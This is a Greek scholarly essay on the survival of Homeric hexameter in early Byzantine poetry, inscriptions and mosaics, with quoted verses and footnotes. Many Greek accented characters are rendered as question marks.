? ?πιτάφιος το? Πεκτορίου ?ποτελε?ται μέ τή σειρά του ?πό τρία δίστιχα καί πέντε ?ξαμέτρους:

 

?χθύος ο<?ρανίου θε>?ον γένος ?τορι σεμν?

Χρ?σε, λαβ?<ν πηγ?>ν ?μβροτον ?ν βροτέοις

Θεσπεσίων ?δάτ<ω>ν. τ?ν σ?ν, φίλε, θάλπεο ψυχ<?ν>

?δασιν ?ενάοις πλουτοδότου σοφίης.

Σωτ?ρος ?γίων μελιηδέα λάμβαν<ε βρ?σιν>,

?σθιε πινάων ?χθ?ν ?χων παλάμαις.

?χθύι χό<ρταζ'> ?ρα, λιλαίω, δέσποτα σ?τερ.

Ε? ε?δοι μ<ή>τηρ, σ? λιτάζομε, φ?ς τ? θανόντων.

?σχάνδιε <πάτ>ερ, τ?μ? κε<χα>ρισμένε θυμ?,

Σ?ν μ<ητρ? γλυκερ? κα? ?δελφει>ο?σιν ?μο?σιν,

?<χθύος ε?ρήν? σέο> μνήσεο Πεκτορίουο.

 

?διαίτερο ?νδιαφέρον παρουσιάζει ? ?ξάμετρη ?πιγραφή, ? ?ποία συνοδεύει τήν ψηφιδωτή παράσταση το? ?κεανο? πού περιβάλλει τήν γ?, στό βόρειο ?γκάρσιο κλίτος τ?ς ?ουστινιάνειας Βασιλικ?ς Α το? ?πισκόπου Δουμετίου στήν Νικόπολη τ?ς ?πείρου (περ. 525-550):

 

?κεαν?ν περίφαντον ?πίριτον ?νθα δέδορκας

γα?αν μέσσον ?χοντα σοφο?ς ?νδάλμασι τέχνης

πάντα πέριξ φορεο?σαν ?σα πνίει τε κα? ?ρπει

Δουμετίου κτέανον μεγαθύμου ?ρχιερ?ος.

 

? ?πιγραφή ?χι μόνο ?νσωματώνει ?να ?μηρικό λογότυπο («?σσά τε γα?αν ?πι πνείει τε καί ?ρπει» ? ?λ., Ρ 447 καί ?δ., σ 131), ?λλά ?ντανακλ? καί τόν α?νο πρός τόν Δημιουργό Θεό, ?πως ?παντ? σέ ?νάλογα συμφραζόμενα στό σ?μα τ?ς ?κκλησιαστικ?ς γραμματείας, λόγου χάριν στά ?πη το? ?γίου Γρηγορίου το? Ναζιανζηνο? (23):

 

?με?ς δ' ?ν πάντεσσι Θε?ν μέγαν ?μνείωμεν,

?σθλο?ς τε στυγερο?ς τε? τ? γ?ρ τεκέων ?ρατειν?ν?

Κα? μετ? πρ?τον ?νακτα ?πιχθονίους γενετ?ρας,

Ο? με φάους ?πλησαν, ?φ' ?ν Τρι?ς ε?ς ?ν ?ο?σα,

Κα? λάμψε πραπίδεσσιν ?μα?ς, κα? π?σι φαάνθη.

Σιγήσω κόσμοιο κύκλον μέγαν, ο?ραν?ν ε?ρ?ν,

?μμασι παμφανόωντα διαυγέσι, ν?τα θαλάσσης

?ευστ?ς ?σταμένης τε, τ? δ? κα? θάμβος ?μοιγε?

Γα?αν ?ς ?στερον, ποταμ?ν ?όον, ?έρα πνευστ?ν,

?ρας, ?νθεα τερπν? βροτ?ν φύσιν, ?ερίων τε,

?σσα Θε?ς προύθηκεν ?μο?ς φαέεσσι τράπεζαν?

Τα?τα πατ?ρ μεγάλοιο Πατρ?ς πάρ' ?δωκεν ?μοιγε.

...

Δ?ς φων?ν νεπόδεσσι, κα? ?ερίοις πετεηνο?ς,

Κα? το?ς ?σσα τε γα?αν ?πιπνείει τε κα? ?ρπει.

 

Στό ψηφιδωτό διάκοσμο τ?ς ?διας βασιλικ?ς περιλαμβάνεται καί ? ?κόλουθη λαμπρή κτιτορική ?πιγραφή:

 

λίθον ?παστράπτοντα θ[εο]? χάριν ?νθα κ(α?) ?νθα

?κ θεμέθλων τολύπευσε κα? ?γλαΐην πόρε π?σαν

Δουμέτιος περίπυστος ?μωμήτων ?ερήων

?ρχιερε?ς πανάριστος ?λης πάτρης μέγα φέγ[γος].

 

Πολύτιμη, τέλος, γιά τήν ?στορία τ?ς βυζαντιν?ς ψηφιδογραφίας ε?ναι καί ? ?ξαμετρική ?πιγραφή το? «ο?κου το? Ε?στολίου» στό Κούριον τ?ς Κύπρου (τέλη 4ου α?.), καθώς ? κτίτορας ?ποδίδει ?περίφραστα χριστιανικό νόημα στά ε?κονιζόμενα θέματα (?χθύες καί πτηνά):

 

?ντ? λίθων μεγάλων, ?ντ? στερεο?ο σιδήρου

χαλκο? τε ξανθο?ο κα? α?το? ?ντ' ?δάμαντος,

<ο>?δε δόμοι ζώσαντο πολύλλιτα σήματα Χριστο?. (24)

 

?νάμεσα στά πολυάριθμα ?ξάμετρα ?πιγράμματα τ?ς Παλατιν?ς ?νθολογίας διακρίνουμε α?τό το? ναο? το? ?γίου Πολυεύκτου στήν βυζαντινή πρωτεύουσα (527), καθιδρύματος τ?ς πριγκίπισσας ?ουλιαν?ς ?νικίας, δισέγγονης τ?ς Α?γούστας Ε?δοκίας. Πρόκειται γιά τήν ?πιγραφή σέ 76 λαμπρούς ?ξαμέτρους, ? ?ποία περιέτρεχε ?σωτερικά τό μαρμάρινο ?πιστύλιο το? ναο? καί διασώζεται ?κόμη καί σήμερα σέ ?πιτόπια ?ρχιτεκτονικά κατάλοιπα, ?ν? ?λλα τμήματα το? γλυπτο? διακόσμου μεταφέρθηκαν σέ διάφορα σημε?α τ?ς Δύσεως μετά τήν Δ΄ Σταυροφορία. Στούς ?ρχικούς στίχους ? ?ουλιανή ?νικία ?πισημαίνει τήν ?νοικοδόμηση προγενέστερου ?ερο? καθιδρύματος τ?ς Ε?δοκίας ?ς συνέχεια το? ?ργου τ?ς ?πιφανο?ς α?τοκράτειρας:

 

Ε?δοκίη μ?ν ?νασσα, Θε?ν σπεύδουσα γεραίρειν

πρώτη νη?ν ?τευξε θεοφραδέος Πολυεύκτου?...

?νθεν ?ουλιανή, ζαθέων ?μάρυγμα τοκήων

τέτρατον ?κ κείνων βασιλήιον α?μα λαχο?σα

?λπίδας ο?κ ?ψευσεν ?ριστώδινος ?νάσσης

?λλά μιν ?κ βαιο?ο μέγαν κα? το?ον ?γείρει

κ?δος ?εξήσασα πολυσκήπτρων γενετήρων? ...

?ρθ?ν πίστιν ?χουσα φιλοχρίστοιο μενοιν?ς.

 

?πό τούς ποιητές ?ξαμέτρων ?κφράσεων διακρίθηκαν ? Χριστόδωρος ? Κοπτίτης, ?πί ?ναστασίου (?κφρασις τ?ν ?γαλμάτων τ?ν ε?ς τ? δημόσιον γυμνάσιον τ? ?πικαλουμένον το? Ζευξίππου), καθώς καί ? ?ωάννης Γαζα?ος (?κφρασις το? κοσμικο? πίνακος το? ?ντος ?ν τ? χειμερί? λουτρ?), τ?ν χρόνων το? ?ουστινιανο?. Ο? σπουδαιότερες ?μως καί πιό περίλαμπρες μ?ς παραδίδονται μέσα ?πό τό α?τοκρατορικό περιβάλλον. Πρόκειται γιά τίς ?κφράσεις το? ναο? τ?ς ?γίας Σοφίας καί το? ?μβωνός της (?κφρασις τ?ς Μεγάλης ?κκλησίας καί ?κφρασις το? ?μβωνος λεχθε?σα ?διαζόντως μετά τήν πρώτην πάροδον τήν μεγάλην ?ν τ? Πατριαρχεί?), τίς ?πο?ες συνέθεσε ? Πα?λος Σιλεντιάριος κατόπιν α?τοκρατορικ?ς παραγγελίας, ?π' ε?καιρί? τ?ν νέων ?γκαινίων το? ναο? (563) μετά τήν ?νέγερση το? τρούλλου πού ε?χε καταπέσει στό σεισμό το? 558. ?ν? καί τά δύο ?ργα ?κκινο?ν μέ προοίμιο σέ ?αμβικό τρίμετρο, τό κύριο σ?μα τους, τό ?πο?ο ?περβαίνει συνολικά τούς χιλίους στίχους, ε?ναι συντεθειμένο στό κλασικό δακτυλικό ?ξάμετρο. Μπορο?με νά φέρουμε στόν νο? μας μέ θαυμασμό τήν μεγαλοπρέπεια τ?ς στιγμ?ς, κατά τήν ?ποία ?κφωνήθηκαν στό σημαντικώτερο μνημε?ο τ?ς Βασιλεύουσας, στό ?πόγειο τ?ς δόξας της, στίχοι ?πως ο? ?κόλουθοι:

 

?μνοπόλοι Χριστο?ο θεουδέες, ?ν ?π? φων?ς

πνεύματος ?χράντοιο μετ' ?νέρας ?λυθεν ?μφ?

?νδρομέην Χριστο?ο διαγγέλλουσα λοχείην?

?δ' ?πόσοι μετ? τύμβον ?κήρατον ?θνεσι γαίης

σύμβολα κηρύσσοντες ?νεγρομένοιο θεο?ο

π?σαν ?φαιδρύνασθε κατηφέος ?ντυγα κόσμου,

τυφλ?ν ?μειδήτοιο νέφος σκεδάσαντες ?μίχλης?

...

Χριστ?ς ?ναξ ?στεψε, κα? α?μαλέοισι ?εέθροις

ψυχαίης ?κάθηρεν ?λην σμώδιγγα καλύπτρης?

δε?ρο, χορο?ς στήσασθε κα? ε?αγέεσσιν ?οιδα?ς

σύνθροον ?μετέρηισι μέλος πλέξασθε χορείαις.

?μέτερος γ?ρ χ?ρος ?είδεται, ?ππόθι πολλ?

θεσπεσίαις βίβλοισιν ?κήρατος ?γρεται ?χώ.

...

Το?α μ?ν ?γλαόδωρος ?μ?ς σκηπτο?χος ?γείρει

?ργα θε?ι βασιλ?ϊ. πολυστέπτοις δ' ?π? δώροις

κα? σέλας ?στυόχοιο ??ς ?νέθηκε γαλήνης

νη?ν ?περ πολύυμνον, ?πως θεοδέγμονι βουλ?ι

?μπνοον ?δρύσειε γέρας κοσμήτορι κόσμου,

Χριστ?ι παμβασιλ?ϊ. σ? δ' ?λαος ?λαος ε?ης,

παμφα?ς ?χράντου τριάδος σέβας, ?στεϊ ?ώμης

κα? ναέταις κα? ?νακτι κα? ?μεροδερκέϊ νη?ι.

 

?μηρικές ?πηχήσεις ?νιχνεύονται ?πίσης στό ε?ρύτερο ?φηγηματικό πλαίσιο καί περιεχόμενο κειμένων, ?πως ? Βίος κα? τ? θαύματα τ?ς ?γίας Θέκλας (430-470), ?που περιστατικά τ?ν ?μηρικ?ν ?π?ν μετασχηματίζονται ?πό χριστιανική ?πτική. ?πως ?πισημαίνει ? ?κδότης το? ?ργου καί μέλος τ?ς Γαλλικ?ς ?καδημίας Gilbert Dagron, ? συγγραφέας το? ?γιολογικο? α?το? κειμένου «μ?ς περιγράφει ?, καλύτερα, μ?ς τραγουδε? ?να πολιτισμό μέ τά κέντρα του, τή ρητορική του, τίς ?νέσεις του, τήν ?ριστοκρατία τ?ς καταγωγ?ς καί το? πλούτου, δείχνοντάς μας μέσα ?πό ποιούς παλαιούς διαύλους διείσδυσε ? χριστιανισμός στόν κόσμο καί π?ς τόν χρωμάτισε». ?λλά ? ?πίδραση το? ?μήρου περιέρχεται μέχρι τόν σπουδαιότερο ?μνογράφο τ?ν πρώιμων βυζαντιν?ν χρόνων, Ρωμανό τόν Μελ?δό. Σύμφωνα μέ τόν ?μότιμο καθηγητή Θεοχάρη Δετοράκη, «α?τό πού κάνει ? ?μηρος κατεβάζοντας τούς θεούς στά ?νθρώπινα μέτρα, τολμ? νά κάνει τώρα καί ? Ρωμανός [...]. ?τσι στά κοντάκια το? Ρωμανο? τά θε?α πρόσωπα δονο?νται ?πό α?σθήματα ?νθρώπινα καί ?ρχονται πιό κοντά στόν πιστό. Μέ τόν τρόπο α?τό ? ποιητής ?ξασφαλίζει τή μέθεξη το? ?κκλησιάσματος καί ?πηρετε? τούς σκοπούς τ?ς ?κκλησίας».

?πως συνάγεται ?πό τήν ?ξέταση τ?ν συγκεκριμένων στοιχείων καί προκύπτει ?πό τήν μελέτη τ?ν φιλολογικ?ν πηγ?ν καί τ?ν ?πιγραφικ?ν μαρτυρι?ν α?τ?ς τ?ς ?τελο?ς ?πισκόπησης, ? ?μηρικός στίχος, τόσο στήν α?τοτέλειά του, ?σο καί μέσα ?πό τήν παράδοση το? δακτυλικο? ?ξαμέτρου, ?νθοφόρησε μέ θαυμαστή ποικιλία καί πλο?το σέ ?λη τήν ?μβέλεια τ?ς πρώιμης βυζαντιν?ς γραμματείας, κατ' ?ρρηκτη καί ?ργανική συνέχεια, δημιουργική ?φομοίωση καί μετεξέλιξη το? ?λληνιστικο? ?μμέτρου λόγου. ? καλλιέργεια το? ?μηρικο? καί μεθομηρικο? ?ξαμέτρου ?ναδεικνύεται ?ς ? ?ψηλότερη, ?ρτιώτερη καί πληρέστερη ?κφραση τ?ς πρώιμης βυζαντιν?ς μούσας καί ?κδήλωση ?κκλησιαστικ?ς μαρτυρίας, «ε?γλωττίας χάριν κα? γυμνασίας το? νο?», ?πως ?πίσης καί ?ς τό ?νώτερο καί πιό ?νδεδειγμένο στήν α?τοκρατορική μεγαλοπρέπεια ποιητικό ?φος, ?ν? τό ε?ρύτερο πλαίσιο τ?ν γραμμάτων καί τ?ς παιδείας ?ξασφαλίζει στόν ?μηρικό στίχο ?να νέο κύκλο προφορικότητας, ? ?ποία τόν διατηρε? καί τόν καθιερώνει στήν α?σθητική πρωτοκαθεδρία. Γράφει ? μεγάλος ?λεξανδρινός, Κωνσταντ?νος Καβάφης, στό μελέτημά του «Ο? βυζαντινοί ποιηταί», ?κθειάζοντας «τάς καλλονάς καί τάς λεπτότητας» τ?ς τέχνης τους. «Ε?μενής τις μοίρα ?προίκισε τήν φυλήν μας διά το? θείου δώρου τ?ς ποιήσεως. ? ε?ρε?α καί ?νθοστεφής χώρα τ?ν στίχων ε?ναι ? πατρίς το? πνεύματός μας. ?ν α?τ? θά ε?ρωμεν τήν μεγαλοφυΐαν το? γένους μας, καί ?λην τήν τρυφερότητα, ?λους τούς τιμιωτέρους παλμούς τ?ς καρδίας το? ?λληνισμο?».

 

________________________________________

1. ?πιστολή 14 (Γρηγορί? ?ταίρ?).

2. ?πιστολή 20.

3. ?γκώμιον ε?ς Μαρκιανόν ?πίσκοπον Γάζης, 1, 32 κ.?. καί 2, 33 κ.?., κυρίως, ?ντιστοίχως.

4. Λόγοι, 18, 6 (Περί λόγου ?σκήσεως).

5. ?πιστολαί, 53 καί 111.

6. ?στορίαι, 4.

7. Βλ. σχετικά H. Hunger, «On the Imitation of Antiquity in Byzantine Literature», Dumbarton Oaks Papers 23 (1969-70), σ. 15-38.

8. ?πως γράφει χαρακτηριστικά ? Herbert Hunger, «θά ?ταν λοιπόν λάθος νά θέλουμε νά βλέπουμε στή μίμηση α?τή μόνο μιά ?ξεπέραστη τάση πρός τόν ?ρχαϊσμό ? τή χρησιμοποίηση χωρίων ?ρχαίων συγγραφέων». «? δύναμη τ?ς λόγιας βυζαντιν?ς λογοτεχνίας βρίσκεται λοιπόν στήν ?σο τό δυνατόν πιό πολύμορφη ?ποδοχή ?ρχαίων προτύπων καί στήν ?νσωμάτωσή τους στό πολιτιστικό καί ?δεολογικό πλαίσιο τ?ς βυζαντιν?ς κοινωνίας μέ τήν τάση γιά ?λοένα μεγαλύτερη τελειότητα.»: H. Hunger, Βυζαντινή λογοτεχνία: ? λόγια κοσμική γραμματεία τ?ν Βυζαντιν?ν, τ. Α΄, ?θήνα 1987, σ. 34-35.

9. ?πιστολή 101.

10. ?κκλησιαστική ?στορία, 3, 16.

11. PG 33, στ. 1313 κ.?.

12. ?ν καί δέν διευκρινίζει ποιόν ?πό τούς δύο, καί μ?λλον ?ποδίδει τό ?ργο στόν νεώτερο («?πολινάριος ? Σύρος»).

13. ?κκλησιαστική ?στορία, 5, 18.

14. Βλ. σχετικά Roger P. H. Green, Latin Epics of the New Testament: Juvencus, Sedulius, Arator, ?ξφόρδη 2006.

15. ?ερώνυμος, De viris illustribus, 84.

16. Epistolae, 53, 7 («Σάν νά μήν ?χουμε διαβάσει ?μηροκέντρωνες καί βιργιλιοκέντρωνες? ?μως δέν μπορο?με νά πο?με καί τόν [Βιργίλιο] Μάρωνα, πού ε?ναι ?λλότριος πρός τόν Χριστό, Χριστιανό»).

17. Κατά α?ρέσεων 1, 1, 20, 35 κ.?.

18. Γιά ?νάλογη πρακτική ?πικρίνει τόν α?ρετικό Ε?νόμιο ? Γρηγόριος Νύσσης: «Καθάπερ ?κούω κα? τ?ν Ε?νόμιον ?π?ρ τ?ν ?λιακ?ν πόλεμον ... ζητο?ντα φιλοπόνως ο?χ ?πως ?ρμηνεύσ? τι τ?ν νοηθέντων, ?λλ' ?πως κατ? τ?ν λέξεων ?πισύρηται κατηναγκασμένα νοήματα κα? περισυλλέγοντα τ?ς ε?ηχοτέρας φων?ς ?κ συγγραμμάτων τιν?ν? κα? ?σπερ ο? πτωχο? δι' ?πορίαν ?σθ?τος ?κ ?ακωμάτων τιν?ν το?ς χιτ?νας ?αυτο?ς περικεντο?ντες συρράπτουσιν, ο?τω κα? το?τον ?λλην ?λλαχόθεν λέξιν περιβοσκόμενον δι? τούτων ?ξυφ?ναι ?αυτ? το? λόγου τ?ν κέντρωνα» (Κατά Ε?νομίου, 2, 1, 128-9).

19. ?πως ο? PGM IV καί PGM VII. Βλ. Franco Maltomini, «P. Lond. 121 (= PGM VII), 1-221: Homeromanteion», Zeitschrift f?r Papyrologie und Epigraphik 106 (1995), σ. 107-122.

20. Σύμφωνα μέ τόν Ε?άγριο τόν Σχολαστικό, ?κκλησιαστική ?στορία, 20.

21. Βιβλιοθήκη, 183-4.

22. Πασχάλιον χρονικόν, 585.

23. PG 37, στ. 1526-28. ?πιπλέον ο? ?μηρικοί στίχοι:

«?ν μ?ν γα?αν ?τευξ', ?ν δ' ο?ρανόν, ?ν δ? θάλασσαν,

?ν δ? τ? τείρεα πάντα, τά τ' ο?ραν?ς ?στεφάνωται» θεωρήθηκαν ?ς ?ναφερόμενοι στήν θεία δημιουργία ?πό τόν ?ουστ?νο, τόν Κλήμεντα τόν ?λεξανδρέα καί τόν Ε?σέβιο Καισαρείας.

24. Ο? πληροφορίες σχετικά μέ τίς ?πιγραφικές καί ?ρχαιολογικές μαρτυρίες ?χουν ?ντληθε? ?πό ?λικό ?δημοσίευτης διδακτορικ?ς διατριβ?ς το? Γ. Α?γινήτη ?πό τόν τίτλο ?tude iconographique sur les mosa?ques de pavement protobyzantines (pars orientalis de l'empire): Les rapports avec la litt?rature eccl?siastique [Ε?κονογραφική μελέτη στά πρωτοβυζαντινά ?πιδαπέδια ψηφιδωτά (?νατολικό τμ?μα τ?ς α?τοκρατορίας): Ο? σχέσεις μέ τήν ?κκλησιαστική γραμματεία], Universit? Paris 1.

 

Παντρεύεστε;

apokatastash steghs

Βαπτίζετε το παιδί σας;

Γίνεσται ανάδοχος;